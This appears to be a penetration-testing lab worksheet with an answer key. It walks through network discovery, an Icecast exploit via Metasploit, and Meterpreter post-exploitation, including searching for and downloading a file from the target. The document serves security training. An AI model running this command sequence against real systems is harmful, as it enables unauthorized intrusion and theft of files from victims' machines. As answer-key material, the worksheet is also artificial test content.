**Instructions**

You've been provided full access to the network and are getting ping responses from the CEO’s workstation.

Pre-work commands used:

* fping -g 192.168.0.0/24 | grep “alive” | awk ‘{print $1}’ > alives
* cat alives

1. Perform a service and version scan using Nmap to determine which services are up and running:
   * Run the Nmap command that performs a service and version scan against the target.

Answer: nmap -iL alives -sS -oN nmap\_ports

1. From the previous step, we see that the Icecast service is running. Let's start by attacking that service. Search for any Icecast exploits:
   * Run the SearchSploit commands to show available Icecast exploits.

Answer: searchsploit icecast

1. Now that we know which exploits are available to us, let's start Metasploit:
   * Run the command that starts Metasploit:

Answer: msfconsole

1. Search for the Icecast module and load it for use.
   * Run the command to search for the Icecast module:

Answer: search icecast

* + Run the command to use the Icecast module:

**Note:** Instead of copying the entire path to the module, you can use the number in front of it.

Answer: use 0

1. Set the RHOST to the target machine.
   * Run the command that sets the RHOST:

Answer: set RHOSTS 192.168.0.20

1. Run the Icecast exploit.
   * Run the command that runs the Icecast exploit.

Answer: run

* + Run the command that performs a search for the secretfile.txt on the target.

Answer: search -f \*secret\*

1. You should now have a Meterpreter session open.
   * Run the command to performs a search for the recipe.txt on the target:

Answer: search -f \*recipe\*

* + **Bonus**: Run the command that exfiltrates the recipe\*.txt file:

Answer: download c:\\Users\\IEUser\\Documents\\Drinks.recipe.txt

1. You can also use Meterpreter's local exploit suggester to find possible exploits.
   * **Note:** The exploit suggester is just that: a suggestion. Keep in mind that the listed suggestions may not include all available exploits.

**Bonus**

A. Run a Meterpreter postscript that enumerates all logged on users.

Answer: run post/windows/gather/enum\_logged\_on\_users

B. Open a Meterpreter shell.

Answer:

C. Run the command that displays the target's computer system information:

Answer: sysinfo